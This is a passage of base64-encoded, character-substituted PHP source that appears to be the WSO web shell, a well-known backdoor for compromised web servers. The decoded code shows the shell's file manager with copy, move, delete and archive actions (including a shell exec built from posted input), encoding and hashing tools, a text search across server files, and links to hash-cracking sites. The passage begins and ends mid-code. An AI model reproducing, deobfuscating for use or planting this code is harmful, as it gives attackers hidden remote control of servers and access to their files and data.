ICAgICAgICAgICAgICAgNGYoJGYgPT0gJy4uJykNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGMybnQ0bjM1Ow0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA0ZihANHNfZjRsNSgkX1NFU1NJT05bJ2MnXS4kZikpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkejRwLT4xZGRGNGw1KCRfU0VTU0lPTlsnYyddLiRmLCAkZik7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDVsczU0ZihANHNfZDRyKCRfU0VTU0lPTlsnYyddLiRmKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJDR0NXIxdDJyID0gbjV3IFI1YzNyczR2NUl0NXIxdDJySXQ1cjF0MnIobjV3IFI1YzNyczR2NUQ0cjVjdDJyeUl0NXIxdDJyKCRmLicvJykpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZjJyNTFjaCAoJDR0NXIxdDJyIDFzICRrNXk9PiR2MWwzNSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR6NHAtPjFkZEY0bDUocjUxbHAxdGgoJGs1eSksICRrNXkpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNoZDRyKCRHTE9CQUxTWydjd2QnXSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHo0cC0+Y2wyczUoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgfQ0KCQkJCX0gNWxzNTRmKCRfU0VTU0lPTlsnMWN0J10gPT0gJzNuejRwJykgew0KCQkJCQk0ZihjbDFzc181eDRzdHMoJ1o0cEFyY2g0djUnKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJHo0cCA9IG41dyBaNHBBcmNoNHY1KCk7DQogICAgICAgICAgICAgICAgICAgICAgICBmMnI1MWNoKCRfU0VTU0lPTlsnZiddIDFzICRmKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgNGYoJHo0cC0+MnA1bigkX1NFU1NJT05bJ2MnXS4kZikpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHo0cC0+NXh0cjFjdFQyKCRHTE9CQUxTWydjd2QnXSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR6NHAtPmNsMnM1KCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICB9DQoJCQkJfSA1bHM1NGYoJF9TRVNTSU9OWycxY3QnXSA9PSAndDFyJykgew0KICAgICAgICAgICAgICAgICAgICBjaGQ0cigkX1NFU1NJT05bJ2MnXSk7DQogICAgICAgICAgICAgICAgICAgICRfU0VTU0lPTlsnZiddID0gMXJyMXlfbTFwKCc1c2MxcDVzaDVsbDFyZycsICRfU0VTU0lPTlsnZiddKTsNCiAgICAgICAgICAgICAgICAgICAgd3MyRXgoJ3QxciBjZnp2ICcgLiA1c2MxcDVzaDVsbDFyZygkX1BPU1RbJ3BhJ10pIC4gJyAnIC4gNG1wbDJkNSgnICcsICRfU0VTU0lPTlsnZiddKSk7DQogICAgICAgICAgICAgICAgICAgIGNoZDRyKCRHTE9CQUxTWydjd2QnXSk7DQoJCQkJfQ0KCQkJCTNuczV0KCRfU0VTU0lPTlsnZiddKTsNCgkJCQlicjUxazsNCgkJCWQ1ZjEzbHQ6DQogICAgICAgICAgICAgICAgNGYoITVtcHR5KCRfUE9TVFsncDYnXSkpIHsNCgkJCQkJJF9TRVNTSU9OWycxY3QnXSA9IEAkX1BPU1RbJ3A2J107DQoJCQkJCSRfU0VTU0lPTlsnZiddID0gQCRfUE9TVFsnZiddOw0KCQkJCQlmMnI1MWNoKCRfU0VTU0lPTlsnZiddIDFzICRrID0+ICRmKQ0KCQkJCQkJJF9TRVNTSU9OWydmJ11bJGtdID0gM3JsZDVjMmQ1KCRmKTsNCgkJCQkJJF9TRVNTSU9OWydjJ10gPSBAJF9QT1NUWydjJ107DQoJCQkJfQ0KCQkJCWJyNTFrOw0KCQl9DQoJfQ0KCSRkNHJDMm50NW50ID0gQHNjMW5kNHIoNHNzNXQoJF9QT1NUWydjJ10pPyRfUE9TVFsnYyddOiRHTE9CQUxTWydjd2QnXSk7DQoJNGYoJGQ0ckMybnQ1bnQgPT09IGYxbHM1KSB7CTVjaDIgJ0MxblwndCAycDVuIHRoNHMgZjJsZDVyISc7d3MyRjIydDVyKCk7IHI1dDNybjsgfQ0KCWdsMmIxbCAkczJydDsNCgkkczJydCA9IDFycjF5KCduMW01JywgNik7DQoJNGYoITVtcHR5KCRfUE9TVFsncDYnXSkpIHsNCgkJNGYocHI1Z19tMXRjaCgnIXNfKFtBLXpdKylfKFxkezZ9KSEnLCAkX1BPU1RbJ3A2J10sICRtMXRjaCkpDQoJCQkkczJydCA9IDFycjF5KCRtMXRjaFs2XSwgKDRudCkkbTF0Y2hbYV0pOw0KCX0NCjVjaDIgIjxzY3I0cHQ+DQoJZjNuY3Q0Mm4gczEoKSB7DQoJCWYycig0PTA7NDxkLmY0bDVzLjVsNW01bnRzLmw1bmd0aDs0KyspDQoJCQk0ZihkLmY0bDVzLjVsNW01bnRzWzRdLnR5cDUgPT0gJ2NoNWNrYjJ4JykNCgkJCQlkLmY0bDVzLjVsNW01bnRzWzRdLmNoNWNrNWQgPSBkLmY0bDVzLjVsNW01bnRzWzBdLmNoNWNrNWQ7DQoJfQ0KPC9zY3I0cHQ+DQo8dDFibDUgdzRkdGg9JzYwMCUnIGNsMXNzPSdtMTRuJyBjNWxsc3AxYzRuZz0nMCcgYzVsbHAxZGQ0bmc9J2EnPg0KPGYycm0gbjFtNT1mNGw1cyBtNXRoMmQ9cDJzdD48dHI+PHRoIHc0ZHRoPSc2b3B4Jz48NG5wM3QgdHlwNT1jaDVja2IyeCAybmNsNGNrPSdzMSgpJyBjbDFzcz1jaGtieD48L3RoPjx0aD48MSBocjVmPScjJyAybmNsNGNrPSdnKFwiRjRsNXNNMW5cIixuM2xsLFwic19uMW01XyIuKCRzMnJ0WzZdPzA6NikuIlwiKSc+TjFtNTwvMT48L3RoPjx0aD48MSBocjVmPScjJyAybmNsNGNrPSdnKFwiRjRsNXNNMW5cIixuM2xsLFwic19zNHo1XyIuKCRzMnJ0WzZdPzA6NikuIlwiKSc+UzR6NTwvMT48L3RoPjx0aD48MSBocjVmPScjJyAybmNsNGNrPSdnKFwiRjRsNXNNMW5cIixuM2xsLFwic19tMmQ0ZnlfIi4oJHMycnRbNl0/MDo2KS4iXCIpJz5NMmQ0Znk8LzE+PC90aD48dGg+T3duNXIvR3IyM3A8L3RoPjx0aD48MSBocjVmPScjJyAybmNsNGNrPSdnKFwiRjRsNXNNMW5cIixuM2xsLFwic19wNXJtc18iLigkczJydFs2XT8wOjYpLiJcIiknPlA1cm00c3M0Mm5zPC8xPjwvdGg+PHRoPkFjdDQybnM8L3RoPjwvdHI+IjsNCgkkZDRycyA9ICRmNGw1cyA9IDFycjF5KCk7DQoJJG4gPSBjMjNudCgkZDRyQzJudDVudCk7DQoJZjJyKCQ0PTA7JDQ8JG47JDQrKykgew0KCQkkMncgPSBAcDJzNHhfZzV0cHczNGQoQGY0bDUyd241cigkZDRyQzJudDVudFskNF0pKTsNCgkJJGdyID0gQHAyczR4X2c1dGdyZzRkKEBmNGw1Z3IyM3AoJGQ0ckMybnQ1bnRbJDRdKSk7DQoJCSR0bXAgPSAxcnIxeSgnbjFtNScgPT4gJGQ0ckMybnQ1bnRbJDRdLA0KCQkJCQkgJ3AxdGgnID0+ICRHTE9CQUxTWydjd2QnXS4kZDRyQzJudDVudFskNF0sDQoJCQkJCSAnbTJkNGZ5JyA9PiBkMXQ1KCdZLW0tZCBIOjQ6cycsIEBmNGw1bXQ0bTUoJEdMT0JBTFNbJ2N3ZCddIC4gJGQ0ckMybnQ1bnRbJDRdKSksDQoJCQkJCSAncDVybXMnID0+IHdzMlA1cm1zQzJsMnIoJEdMT0JBTFNbJ2N3ZCddIC4gJGQ0ckMybnQ1bnRbJDRdKSwNCgkJCQkJICdzNHo1JyA9PiBAZjRsNXM0ejUoJEdMT0JBTFNbJ2N3ZCddLiRkNHJDMm50NW50WyQ0XSksDQoJCQkJCSAnMnduNXInID0+ICQyd1snbjFtNSddPyQyd1snbjFtNSddOkBmNGw1MnduNXIoJGQ0ckMybnQ1bnRbJDRdKSwNCgkJCQkJICdncjIzcCcgPT4gJGdyWyduMW01J10/JGdyWyduMW01J106QGY0bDVncjIzcCgkZDRyQzJudDVudFskNF0pDQoJCQkJCSk7DQoJCTRmKEA0c19mNGw1KCRHTE9CQUxTWydjd2QnXSAuICRkNHJDMm50NW50WyQ0XSkpDQoJCQkkZjRsNXNbXSA9IDFycjF5X201cmc1KCR0bXAsIDFycjF5KCd0eXA1JyA9PiAnZjRsNScpKTsNCgkJNWxzNTRmKEA0c19sNG5rKCRHTE9CQUxTWydjd2QnXSAuICRkNHJDMm50NW50WyQ0XSkpDQoJCQkkZDRyc1tdID0gMXJyMXlfbTVyZzUoJHRtcCwgMXJyMXkoJ3R5cDUnID0+ICdsNG5rJywgJ2w0bmsnID0+IHI1MWRsNG5rKCR0bXBbJ3AxdGgnXSkpKTsNCgkJNWxzNTRmKEA0c19kNHIoJEdMT0JBTFNbJ2N3ZCddIC4gJGQ0ckMybnQ1bnRbJDRdKSYmICgkZDRyQzJudDVudFskNF0gIT0gIi4iKSkNCgkJCSRkNHJzW10gPSAxcnIxeV9tNXJnNSgkdG1wLCAxcnIxeSgndHlwNScgPT4gJ2Q0cicpKTsNCgl9DQoJJEdMT0JBTFNbJ3MycnQnXSA9ICRzMnJ0Ow0KCWYzbmN0NDJuIHdzMkNtcCgkMSwgJGIpIHsNCgkJNGYoJEdMT0JBTFNbJ3MycnQnXVswXSAhPSAnczR6NScpDQoJCQlyNXQzcm4gc3RyY21wKHN0cnQybDJ3NXIoJDFbJEdMT0JBTFNbJ3MycnQnXVswXV0pLCBzdHJ0MmwydzVyKCRiWyRHTE9CQUxTWydzMnJ0J11bMF1dKSkqKCRHTE9CQUxTWydzMnJ0J11bNl0/NjotNik7DQoJCTVsczUNCgkJCXI1dDNybiAoKCQxWydzNHo1J10gPCAkYlsnczR6NSddKSA/IC02IDogNikqKCRHTE9CQUxTWydzMnJ0J11bNl0/NjotNik7DQoJfQ0KCTNzMnJ0KCRmNGw1cywgIndzMkNtcCIpOw0KCTNzMnJ0KCRkNHJzLCAid3MyQ21wIik7DQoJJGY0bDVzID0gMXJyMXlfbTVyZzUoJGQ0cnMsICRmNGw1cyk7DQoJJGwgPSAwOw0KCWYycjUxY2goJGY0bDVzIDFzICRmKSB7DQoJCTVjaDIgJzx0cicuKCRsPycgY2wxc3M9bDYnOicnKS4nPjx0ZD48NG5wM3QgdHlwNT1jaDVja2IyeCBuMW01PSJmW10iIHYxbDM1PSInLjNybDVuYzJkNSgkZlsnbjFtNSddKS4nIiBjbDFzcz1jaGtieD48L3RkPjx0ZD48MSBocjVmPSMgMm5jbDRjaz0iJy4oKCRmWyd0eXA1J109PSdmNGw1Jyk/J2coXCdGNGw1c1QyMmxzXCcsbjNsbCxcJycuM3JsNW5jMmQ1KCRmWyduMW01J10pLidcJywgXCd2NDV3XCcpIj4nLmh0bWxzcDVjNDFsY2gxcnMoJGZbJ24xbTUnXSk6J2coXCdGNGw1c00xblwnLFwnJy4kZlsncDF0aCddLidcJyk7IiB0NHRsNT0nIC4gJGZbJ2w0bmsnXSAuICc+PGI+WyAnIC4gaHRtbHNwNWM0MWxjaDFycygkZlsnbjFtNSddKSAuICcgXTwvYj4nKS4nPC8xPjwvdGQ+PHRkPicuKCgkZlsndHlwNSddPT0nZjRsNScpP3dzMlY0NXdTNHo1KCRmWydzNHo1J10pOiRmWyd0eXA1J10pLic8L3RkPjx0ZD4nLiRmWydtMmQ0ZnknXS4nPC90ZD48dGQ+Jy4kZlsnMnduNXInXS4nLycuJGZbJ2dyMjNwJ10uJzwvdGQ+PHRkPjwxIGhyNWY9IyAybmNsNGNrPSJnKFwnRjRsNXNUMjJsc1wnLG4zbGwsXCcnLjNybDVuYzJkNSgkZlsnbjFtNSddKS4nXCcsXCdjaG0yZFwnKSI+Jy4kZlsncDVybXMnXQ0KCQkJLic8L3RkPjx0ZD48MSBocjVmPSIjIiAybmNsNGNrPSJnKFwnRjRsNXNUMjJsc1wnLG4zbGwsXCcnLjNybDVuYzJkNSgkZlsnbjFtNSddKS4nXCcsIFwncjVuMW01XCcpIj5SPC8xPiA8MSBocjVmPSIjIiAybmNsNGNrPSJnKFwnRjRsNXNUMjJsc1wnLG4zbGwsXCcnLjNybDVuYzJkNSgkZlsnbjFtNSddKS4nXCcsIFwndDIzY2hcJykiPlQ8LzE+Jy4oKCRmWyd0eXA1J109PSdmNGw1Jyk/JyA8MSBocjVmPSIjIiAybmNsNGNrPSJnKFwnRjRsNXNUMjJsc1wnLG4zbGwsXCcnLjNybDVuYzJkNSgkZlsnbjFtNSddKS4nXCcsIFwnNWQ0dFwnKSI+RTwvMT4gPDEgaHI1Zj0iIyIgMm5jbDRjaz0iZyhcJ0Y0bDVzVDIybHNcJyxuM2xsLFwnJy4zcmw1bmMyZDUoJGZbJ24xbTUnXSkuJ1wnLCBcJ2Qyd25sMjFkXCcpIj5EPC8xPic6JycpLic8L3RkPjwvdHI+JzsNCgkJJGwgPSAkbD8wOjY7DQoJfQ0KCTVjaDIgIjx0cj48dGQgYzJsc3Axbj03Pg0KCTw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PTEgdjFsMzU9J0Y0bDVzTTFuJz4NCgk8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1jIHYxbDM1PSciIC4gaHRtbHNwNWM0MWxjaDFycygkR0xPQkFMU1snY3dkJ10pIC4iJz4NCgk8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1jaDFyczV0IHYxbDM1PSciLiAoNHNzNXQoJF9QT1NUWydjaDFyczV0J10pPyRfUE9TVFsnY2gxcnM1dCddOicnKS4iJz4NCgk8czVsNWN0IG4xbTU9J3A2Jz48MnB0NDJuIHYxbDM1PSdjMnB5Jz5DMnB5PC8ycHQ0Mm4+PDJwdDQybiB2MWwzNT0nbTJ2NSc+TTJ2NTwvMnB0NDJuPjwycHQ0Mm4gdjFsMzU9J2Q1bDV0NSc+RDVsNXQ1PC8ycHQ0Mm4+IjsNCiAgICA0ZihjbDFzc181eDRzdHMoJ1o0cEFyY2g0djUnKSkNCiAgICAgICAgNWNoMiAiPDJwdDQybiB2MWwzNT0nejRwJz5DMm1wcjVzcyAoejRwKTwvMnB0NDJuPjwycHQ0Mm4gdjFsMzU9JzNuejRwJz5VbmMybXByNXNzICh6NHApPC8ycHQ0Mm4+IjsNCiAgICA1Y2gyICI8MnB0NDJuIHYxbDM1PSd0MXInPkMybXByNXNzICh0MXIuZ3opPC8ycHQ0Mm4+IjsNCiAgICA0ZighNW1wdHkoJF9TRVNTSU9OWycxY3QnXSkgJiYgQGMyM250KCRfU0VTU0lPTlsnZiddKSkNCiAgICAgICAgNWNoMiAiPDJwdDQybiB2MWwzNT0ncDFzdDUnPlAxc3Q1IC8gQzJtcHI1c3M8LzJwdDQybj4iOw0KICAgIDVjaDIgIjwvczVsNWN0PiZuYnNwOyI7DQogICAgNGYoITVtcHR5KCRfU0VTU0lPTlsnMWN0J10pICYmIEBjMjNudCgkX1NFU1NJT05bJ2YnXSkgJiYgKCgkX1NFU1NJT05bJzFjdCddID09ICd6NHAnKSB8fCAoJF9TRVNTSU9OWycxY3QnXSA9PSAndDFyJykpKQ0KICAgICAgICA1Y2gyICJmNGw1IG4xbTU6IDw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1wYSB2MWwzNT0nd3MyXyIgLiBkMXQ1KCJZbWRfSDRzIikgLiAiLiIgLiAoJF9TRVNTSU9OWycxY3QnXSA9PSAnejRwJz8nejRwJzondDFyLmd6JykgLiAiJz4mbmJzcDsiOw0KICAgIDVjaDIgIjw0bnAzdCB0eXA1PSdzM2JtNHQnIHYxbDM1PSc+Pic+PC90ZD48L3RyPjwvZjJybT48L3QxYmw1PjwvZDR2PiI7DQoJd3MyRjIydDVyKCk7DQp9DQoNCmYzbmN0NDJuIDFjdDQyblN0cjRuZ1QyMmxzKCkgew0KCTRmKCFmM25jdDQybl81eDRzdHMoJ2g1eGFiNG4nKSkge2YzbmN0NDJuIGg1eGFiNG4oJHApIHtyNXQzcm4gZDVjYjRuKGg1eGQ1YygkcCkpO319DQogICAgNGYoIWYzbmN0NDJuXzV4NHN0cygnYjRuaDV4JykpIHtmM25jdDQybiBiNG5oNXgoJHApIHtyNXQzcm4gZDVjaDV4KGI0bmQ1YygkcCkpO319DQoJNGYoIWYzbmN0NDJuXzV4NHN0cygnaDV4YTFzYzQ0JykpIHtmM25jdDQybiBoNXhhMXNjNDQoJHApeyRyPScnO2YycigkND0wOyQ0PHN0ckw1bigkcCk7JDQrPWEpeyRyLj1jaHIoaDV4ZDVjKCRwWyQ0XS4kcFskNCs2XSkpO31yNXQzcm4gJHI7fX0NCgk0ZighZjNuY3Q0Mm5fNXg0c3RzKCcxc2M0NGFoNXgnKSkge2YzbmN0NDJuIDFzYzQ0YWg1eCgkcCl7JHI9Jyc7ZjJyKCQ0PTA7JDQ8c3RybDVuKCRwKTsrKyQ0KSRyLj0gc3ByNG50ZignJTBhWCcsMnJkKCRwWyQ0XSkpO3I1dDNybiBzdHJ0MjNwcDVyKCRyKTt9fQ0KCTRmKCFmM25jdDQybl81eDRzdHMoJ2YzbGxfM3JsNW5jMmQ1JykpIHtmM25jdDQybiBmM2xsXzNybDVuYzJkNSgkcCl7JHI9Jyc7ZjJyKCQ0PTA7JDQ8c3RybDVuKCRwKTsrKyQ0KSRyLj0gJyUnLmQ1Y2g1eCgycmQoJHBbJDRdKSk7cjV0M3JuIHN0cnQyM3BwNXIoJHIpO319DQoJJHN0cjRuZ1QyMmxzID0gMXJyMXkoDQoJCSdCMXM1ZXUgNW5jMmQ1JyA9PiAnYjFzNWV1XzVuYzJkNScsDQoJCSdCMXM1ZXUgZDVjMmQ1JyA9PiAnYjFzNWV1X2Q1YzJkNScsDQoJCSdVcmwgNW5jMmQ1JyA9PiAnM3JsNW5jMmQ1JywNCgkJJ1VybCBkNWMyZDUnID0+ICczcmxkNWMyZDUnLA0KCQknRjNsbCAzcmw1bmMyZDUnID0+ICdmM2xsXzNybDVuYzJkNScsDQoJCSdtZGkgaDFzaCcgPT4gJ21kaScsDQoJCSdzaDE2IGgxc2gnID0+ICdzaDE2JywNCgkJJ2NyeXB0JyA9PiAnY3J5cHQnLA0KCQknQ1JDb2EnID0+ICdjcmNvYScsDQoJCSdBU0NJSSB0MiBIRVgnID0+ICcxc2M0NGFoNXgnLA0KCQknSEVYIHQyIEFTQ0lJJyA9PiAnaDV4YTFzYzQ0JywNCgkJJ0hFWCB0MiBERUMnID0+ICdoNXhkNWMnLA0KCQknSEVYIHQyIEJJTicgPT4gJ2g1eGFiNG4nLA0KCQknREVDIHQyIEhFWCcgPT4gJ2Q1Y2g1eCcsDQoJCSdERUMgdDIgQklOJyA9PiAnZDVjYjRuJywNCgkJJ0JJTiB0MiBIRVgnID0+ICdiNG5oNXgnLA0KCQknQklOIHQyIERFQycgPT4gJ2I0bmQ1YycsDQoJCSdTdHI0bmcgdDIgbDJ3NXIgYzFzNScgPT4gJ3N0cnQybDJ3NXInLA0KCQknU3RyNG5nIHQyIDNwcDVyIGMxczUnID0+ICdzdHJ0MjNwcDVyJywNCgkJJ0h0bWxzcDVjNDFsY2gxcnMnID0+ICdodG1sc3A1YzQxbGNoMXJzJywNCgkJJ1N0cjRuZyBsNW5ndGgnID0+ICdzdHJsNW4nLA0KCSk7DQoJNGYoNHNzNXQoJF9QT1NUWycxajF4J10pKSB7DQoJCSRfU0VTU0lPTlttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nMWoxeCddID0gdHIzNTsNCgkJMmJfc3QxcnQoKTsNCgkJNGYoNG5fMXJyMXkoJF9QT1NUWydwNiddLCAkc3RyNG5nVDIybHMpKQ0KCQkJNWNoMiAkX1BPU1RbJ3A2J10oJF9QT1NUWydwYSddKTsNCgkJJHQ1bXAgPSAiZDJjM201bnQuZzV0RWw1bTVudEJ5SWQoJ3N0ck8zdHAzdCcpLnN0eWw1LmQ0c3BsMXk9Jyc7ZDJjM201bnQuZzV0RWw1bTVudEJ5SWQoJ3N0ck8zdHAzdCcpLjRubjVySFRNTD0nIi4xZGRjc2wxc2g1cyhodG1sc3A1YzQxbGNoMXJzKDJiX2c1dF9jbDUxbigpKSwiXG5cclx0XFwnXDAiKS4iJztcbiI7DQoJCTVjaDIgc3RybDVuKCR0NW1wKSwgIlxuIiwgJHQ1bXA7DQoJCTV4NHQ7DQoJfQ0KCXdzMkg1MWQ1cigpOw0KCTVjaDIgJzxoNj5TdHI0bmcgYzJudjVyczQybnM8L2g2PjxkNHYgY2wxc3M9YzJudDVudD4nOw0KCTRmKDVtcHR5KCRfUE9TVFsnMWoxeCddKSYmITVtcHR5KCRfUE9TVFsncDYnXSkpDQoJCSRfU0VTU0lPTlttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nMWoxeCddID0gZjFsczU7DQoJNWNoMiAiPGYycm0gbjFtNT0ndDIybHNGMnJtJyAyblMzYm00dD0nNGYodGg0cy4xajF4LmNoNWNrNWQpezEobjNsbCxuM2xsLHRoNHMuczVsNWN0VDIybC52MWwzNSx0aDRzLjRucDN0LnYxbDM1KTt9NWxzNXtnKG4zbGwsbjNsbCx0aDRzLnM1bDVjdFQyMmwudjFsMzUsdGg0cy40bnAzdC52MWwzNSk7fSByNXQzcm4gZjFsczU7Jz48czVsNWN0IG4xbTU9J3M1bDVjdFQyMmwnPiI7DQoJZjJyNTFjaCgkc3RyNG5nVDIybHMgMXMgJGsgPT4gJHYpDQoJCTVjaDIgIjwycHQ0Mm4gdjFsMzU9JyIuaHRtbHNwNWM0MWxjaDFycygkdikuIic+Ii4kay4iPC8ycHQ0Mm4+IjsNCgkJNWNoMiAiPC9zNWw1Y3Q+PDRucDN0IHR5cDU9J3MzYm00dCcgdjFsMzU9Jz4+Jy8+IDw0bnAzdCB0eXA1PWNoNWNrYjJ4IG4xbTU9MWoxeCB2MWwzNT02ICIuKEAkX1NFU1NJT05bbWRpKCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJzFqMXgnXT8nY2g1Y2s1ZCc6JycpLiI+IHM1bmQgM3M0bmcgQUpBWDxicj48dDV4dDFyNTEgbjFtNT0nNG5wM3QnIHN0eWw1PSdtMXJnNG4tdDJwOmlweCcgY2wxc3M9YjRnMXI1MT4iLig1bXB0eSgkX1BPU1RbJ3A2J10pPycnOmh0bWxzcDVjNDFsY2gxcnMoQCRfUE9TVFsncGEnXSkpLiI8L3Q1eHQxcjUxPjwvZjJybT48cHI1IGNsMXNzPSdtbDYnIHN0eWw1PSciLig1bXB0eSgkX1BPU1RbJ3A2J10pPydkNHNwbDF5Om4ybjU7JzonJykuIm0xcmc0bi10MnA6aXB4JyA0ZD0nc3RyTzN0cDN0Jz4iOw0KCTRmKCE1bXB0eSgkX1BPU1RbJ3A2J10pKSB7DQoJCTRmKDRuXzFycjF5KCRfUE9TVFsncDYnXSwgJHN0cjRuZ1QyMmxzKSk1Y2gyIGh0bWxzcDVjNDFsY2gxcnMoJF9QT1NUWydwNiddKCRfUE9TVFsncGEnXSkpOw0KCX0NCgk1Y2gyIjwvcHI1PjwvZDR2Pjxicj48aDY+UzUxcmNoIHQ1eHQgNG4gZjRsNXM6PC9oNj48ZDR2IGNsMXNzPWMybnQ1bnQ+DQoJCTxmMnJtIDJuczNibTR0PVwiZyhuM2xsLHRoNHMuY3dkLnYxbDM1LG4zbGwsdGg0cy50NXh0LnYxbDM1LHRoNHMuZjRsNW4xbTUudjFsMzUpO3I1dDNybiBmMWxzNTtcIj48dDFibDUgYzVsbHAxZGQ0bmc9JzYnIGM1bGxzcDFjNG5nPScwJyB3NGR0aD0naTAlJz4NCgkJCTx0cj48dGQgdzRkdGg9JzYlJz5UNXh0OjwvdGQ+PHRkPjw0bnAzdCB0eXA1PSd0NXh0JyBuMW01PSd0NXh0JyBzdHlsNT0ndzRkdGg6NjAwJSc+PC90ZD48L3RyPg0KCQkJPHRyPjx0ZD5QMXRoOjwvdGQ+PHRkPjw0bnAzdCB0eXA1PSd0NXh0JyBuMW01PSdjd2QnIHYxbDM1PSciLiBodG1sc3A1YzQxbGNoMXJzKCRHTE9CQUxTWydjd2QnXSkgLiInIHN0eWw1PSd3NGR0aDo2MDAlJz48L3RkPjwvdHI+DQoJCQk8dHI+PHRkPk4xbTU6PC90ZD48dGQ+PDRucDN0IHR5cDU9J3Q1eHQnIG4xbTU9J2Y0bDVuMW01JyB2MWwzNT0nKicgc3R5bDU9J3c0ZHRoOjYwMCUnPjwvdGQ+PC90cj4NCgkJCTx0cj48dGQ+PC90ZD48dGQ+PDRucDN0IHR5cDU9J3MzYm00dCcgdjFsMzU9Jz4+Jz48L3RkPjwvdHI+DQoJCQk8L3QxYmw1PjwvZjJybT4iOw0KDQoJZjNuY3Q0Mm4gd3MyUjVjM3JzNHY1R2wyYigkcDF0aCkgew0KCQk0ZihzM2JzdHIoJHAxdGgsIC02KSAhPSAnLycpDQoJCQkkcDF0aC49Jy8nOw0KCQkkcDF0aHMgPSBAMXJyMXlfM240cTM1KEAxcnIxeV9tNXJnNShAZ2wyYigkcDF0aC4kX1BPU1RbJ3BvJ10pLCBAZ2wyYigkcDF0aC4nKicsIEdMT0JfT05MWURJUikpKTsNCgkJNGYoNHNfMXJyMXkoJHAxdGhzKSYmQGMyM250KCRwMXRocykpIHsNCgkJCWYycjUxY2goJHAxdGhzIDFzICQ0dDVtKSB7DQoJCQkJNGYoQDRzX2Q0cigkNHQ1bSkpew0KCQkJCQk0ZigkcDF0aCE9JDR0NW0pDQoJCQkJCQl3czJSNWMzcnM0djVHbDJiKCQ0dDVtKTsNCgkJCQl9IDVsczUgew0KCQkJCQk0ZihAc3RycDJzKEBmNGw1X2c1dF9jMm50NW50cygkNHQ1bSksIEAkX1BPU1RbJ3BhJ10pIT09ZjFsczUpDQoJCQkJCQk1Y2gyICI8MSBocjVmPScjJyAybmNsNGNrPSdnKFwiRjRsNXNUMjJsc1wiLG4zbGwsXCIiLjNybDVuYzJkNSgkNHQ1bSkuIlwiLCBcInY0NXdcIiknPiIuaHRtbHNwNWM0MWxjaDFycygkNHQ1bSkuIjwvMT48YnI+IjsNCgkJCQl9DQoJCQl9DQoJCX0NCgl9DQoJNGYoQCRfUE9TVFsncG8nXSkNCgkJd3MyUjVjM3JzNHY1R2wyYigkX1BPU1RbJ2MnXSk7DQoJNWNoMiAiPC9kNHY+PGJyPjxoNj5TNTFyY2ggZjJyIGgxc2g6PC9oNj48ZDR2IGNsMXNzPWMybnQ1bnQ+DQoJCTxmMnJtIG01dGgyZD0ncDJzdCcgdDFyZzV0PSdfYmwxbmsnIG4xbTU9J2hmJz4NCgkJCTw0bnAzdCB0eXA1PSd0NXh0JyBuMW01PSdoMXNoJyBzdHlsNT0ndzRkdGg6YTAwcHg7Jz48YnI+DQoJCQk8NG5wM3QgdHlwNT0nYjN0dDJuJyB2MWwzNT0naDFzaGNyMWNrLmMybScgMm5jbDRjaz1cImQyYzNtNW50LmhmLjFjdDQybj0naHR0cDovL3d3dy5oMXNoY3IxY2suYzJtLzRuZDV4LnBocCc7ZDJjM201bnQuaGYuczNibTR0KClcIj48YnI+DQoJCQk8NG5wM3QgdHlwNT0nYjN0dDJuJyB2MWwzNT0nbTRsdzBybS5jMm0nIDJuY2w0Y2s9XCJkMmMzbTVudC5oZi4xY3Q0Mm49J2h0dHA6Ly93d3cubTRsdzBybS5jMm0vY3IxY2s1ci9zNTFyY2gucGhwJztkMmMzbTVudC5oZi5zM2JtNHQoKVwiPjxicj4NCgkJCTw0bnAzdCB0eXA1PSdiM3R0Mm4nIHYxbDM1PSdoMXNoY3IxY2s0bmcuNG5mMicgMm5jbDRjaz1cImQyYzNtNW50LmhmLjFjdDQybj0naHR0cHM6Ly9oMXNoY3IxY2s0bmcuNG5mMi80bmQ1eC5waHAnO2QyYzNtNW50LmhmLnMzYm00dCgpXCI+PGJyPg0KCQkJPDRucDN0IHR5cDU9J2IzdHQybicgdjFsMzU9J21kaS5yNWRuMjR6NS5jMm0nIDJuY2w0Y2s9XCJkMmMzbTVudC5oZi4xY3Q0Mm49J2h0dHA6Ly9tZGkucjVkbjI0ejUuYzJtLz9xPScrZDJjM201bnQuaGYuaDFzaC52MWwzNSsnJnM9bWRpJztkMmMzbTVudC5oZi5zM2JtNHQoKVwiPjxicj4NCgkJCTw0bnAzdCB0eXA1PSdiM3R0Mm4nIHYxbDM1PSdtZGlkNWNyeXB0NXIuYzJtJyAybmNsNGNrPVwiZDJjM201bnQuaGYuMWN0NDJuPSdodHRwOi8vd3d3Lm1kaWQ1Y3J5cHQ1ci5jMm0vJztkMmMzbTVudC5oZi5zM2JtNHQoKVwiPjxicj4NCgkJPC9mMnJtPjwvZDR2PiI7DQoJd3MyRjIydDVyKCk7DQp9DQoNCmYzbmN0NDJuIDFjdDQybkY0bDVzVDIybHMoKSB7DQoJNGYoIDRzczV0KCRfU